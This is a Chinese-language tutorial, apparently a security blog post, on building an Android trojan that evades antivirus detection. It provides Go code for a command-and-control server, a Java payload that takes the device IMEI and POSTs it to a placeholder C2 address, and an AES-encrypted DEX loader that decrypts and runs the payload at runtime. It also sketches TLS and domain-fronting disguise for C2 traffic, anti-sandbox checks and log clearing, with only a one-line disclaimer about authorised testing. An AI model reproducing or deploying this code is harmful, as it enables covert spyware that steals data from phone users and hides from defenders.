0x01 攻击背后的逻辑

在移动端攻击中,植入式木马攻击一直是一种高效的方式,特别是在针对特定目标展开的APT攻击中,能够绕过检测的木马往往是红队的利器。移动设备由于其独特的封闭性和资源限制,给攻击者带来了更多的挑战,但同时也提供了不少机会。本文将从技术原理出发,结合真实案例,逐步展示如何构造一个针对安卓系统的免杀木马,并实现高效的持久化。

安卓系统的木马免杀,核心在于如何规避静态特征匹配与动态行为分析。大多数杀毒软件(AV)和EDR产品的检测逻辑分为以下几类:

  1. 静态检测:签名特征匹配、字符串内容扫描、DEX文件结构分析。
  2. 动态分析:沙箱中执行App,观察其恶意行为,如隐私数据访问、命令与控制(C2)通信。
  3. 网络流量检测:对恶意流量特征进行分析,判断木马是否向外发送敏感数据。

为绕过上述检测逻辑,攻击者需要从代码混淆、动态加载、反沙箱、流量伪装等多方面下手。接下来,我们会通过完整的攻击链和代码实例,逐步拆解如何实现一个高度隐匿的安卓木马。

---

黑客示意图

0x02 环境搭建与基础准备

为了进行实验,我们需要一个安卓开发环境,以及一个用于测试的C2服务器。以下是准备步骤:

安装工具链

  1. Android Studio:用于开发和调试安卓应用。
  2. FridaObjection(可选):用于动态调试目标应用。
  3. Apktool:反编译和重打包APK文件。
  4. openssl:生成SSL证书,用于加密C2流量。

配置C2服务器

我们将使用一个简单的Go编写的HTTP服务器作为C2端。服务器会接收木马回传的目标设备信息及其他数据。

以下为C2服务器代码示例:

<pre><code class="language-go">package main

import ( &quot;fmt&quot; &quot;net/http&quot; &quot;time&quot; )

func handler(w http.ResponseWriter, r *http.Request) { fmt.Println(&quot;New connection from:&quot;, r.RemoteAddr) r.ParseForm() for key, value := range r.Form { fmt.Printf(&quot;Received %s: %s\n&quot;, key, value) } w.Write([]byte(&quot;OK&quot;)) }

func main() { http.HandleFunc(&quot;/data&quot;, handler) server := &amp;http.Server{ Addr: &quot;:8080&quot;, ReadTimeout: 10 time.Second, WriteTimeout: 10 time.Second, MaxHeaderBytes: 1 &lt;&lt; 20, } fmt.Println(&quot;Starting C2 server on port 8080...&quot;) server.ListenAndServe() }</code></pre>

启动C2服务器: <pre><code class="language-bash">go run c2_server.go</code></pre>

C2将监听8080端口,并接收来自木马的POST请求。

---

0x03 DEX动态加载的隐匿技巧

安卓APK的DEX文件(Dalvik Executable)是应用的核心执行代码文件。大多数杀毒软件会对DEX文件进行静态分析,因此直接将恶意代码写入DEX是很容易被识别的。为了规避静态检测,我们可以采用以下技术:

技术实现:DEX动态加载

核心思路是,将恶意逻辑从主APK中剥离出来,以加密后的形式存储在资源文件中,运行时解密并动态加载。

以下为实现步骤:

  1. 将恶意代码独立成一个DEX文件。
  2. 使用AES对该DEX文件进行加密。
  3. 将加密后的文件作为资源文件打包到主APK中。
  4. 在运行时解密并加载DEX。

黑客示意图

恶意DEX代码示例

下面是一个简单的恶意DEX代码,它会收集目标设备的IMEI并上传到C2。

<pre><code class="language-java">package com.example.malicious;

import android.content.Context; import android.telephony.TelephonyManager; import java.io.OutputStream; import java.net.HttpURLConnection; import java.net.URL;

public class MaliciousPayload { public static void execute(Context context) { try { TelephonyManager tm = (TelephonyManager) context.getSystemService(Context.TELEPHONY_SERVICE); String imei = tm.getDeviceId();

URL url = new URL(&quot;http://&lt;C2_SERVER_IP&gt;:8080/data&quot;); HttpURLConnection conn = (HttpURLConnection) url.openConnection(); conn.setRequestMethod(&quot;POST&quot;); conn.setDoOutput(true); OutputStream os = conn.getOutputStream(); os.write((&quot;imei=&quot; + imei).getBytes()); os.flush(); os.close(); conn.getResponseCode(); } catch (Exception e) { e.printStackTrace(); } } }</code></pre>

主APK中动态加载DEX的代码

在主APK中,通过以下代码实现资源解密和加载:

<pre><code class="language-java">package com.example.stealth;

import android.content.Context; import dalvik.system.DexClassLoader; import java.io.File; import java.io.FileOutputStream; import java.io.InputStream; import javax.crypto.Cipher; import javax.crypto.spec.SecretKeySpec;

public class DexLoader { private static final String KEY = &quot;1234567890123456&quot;; // AES密钥

public static void loadDex(Context context) { try { // 解密存储在assets中的DEX文件 InputStream is = context.getAssets().open(&quot;payload.dex.enc&quot;); byte[] encrypted = new byte[is.available()]; is.read(encrypted);

Cipher cipher = Cipher.getInstance(&quot;AES&quot;); cipher.init(Cipher.DECRYPT_MODE, new SecretKeySpec(KEY.getBytes(), &quot;AES&quot;)); byte[] decrypted = cipher.doFinal(encrypted);

// 将解密后的DEX写入临时文件 File dexFile = new File(context.getFilesDir(), &quot;payload.dex&quot;); FileOutputStream fos = new FileOutputStream(dexFile); fos.write(decrypted); fos.close();

// 加载DEX文件并调用恶意方法 DexClassLoader dexClassLoader = new DexClassLoader( dexFile.getAbsolutePath(), context.getCacheDir().getAbsolutePath(), null, context.getClassLoader() ); Class&lt;?&gt; clazz = dexClassLoader.loadClass(&quot;com.example.malicious.MaliciousPayload&quot;); clazz.getMethod(&quot;execute&quot;, Context.class).invoke(null, context); } catch (Exception e) { e.printStackTrace(); } } }</code></pre>

---

0x04 流量伪装与C2通信隐藏

即使我们成功绕过了静态检测,C2通信依然可能被网络流量分析所捕获。为了规避流量特征分析,我们需要对C2通信进行伪装。

SSL加密与域前置

  1. 使用自签名SSL证书加密所有通信。
  2. 利用域前置技术,将木马流量伪装成合法的HTTPS流量。

以下为伪装通信的Go示例:

<pre><code class="language-go">package main

import ( &quot;crypto/tls&quot; &quot;fmt&quot; &quot;io/ioutil&quot; &quot;net/http&quot; )

黑客示意图

func handler(w http.ResponseWriter, r *http.Request) { body, _ := ioutil.ReadAll(r.Body) fmt.Printf(&quot;Received data: %s\n&quot;, string(body)) w.Write([]byte(&quot;OK&quot;)) }

func main() { http.HandleFunc(&quot;/&quot;, handler) server := &amp;http.Server{ Addr: &quot;:443&quot;, TLSConfig: &amp;tls.Config{ MinVersion: tls.VersionTLS12, }, } fmt.Println(&quot;Starting HTTPS C2 server...&quot;) server.ListenAndServeTLS(&quot;server.crt&quot;, &quot;server.key&quot;) }</code></pre>

在客户端的木马中,通信代码需要使用HTTPS协议并伪造合法的域名头。

---

0x05 个人经验分享

  1. 反沙箱检测:通过检查设备的硬件特征(如传感器数量)判断是否在虚拟环境中运行。
  2. 延迟执行:通过设置随机延迟,绕过动态分析的时间窗口。
  3. 多层加密:对代码和流量进行多层加密,提高逆向难度。
  4. 日志清除:执行完恶意操作后,清除相关日志,减少曝光概率。

---

> 声明:本文仅供授权的安全测试和研究用途,未经授权请勿用于非法操作。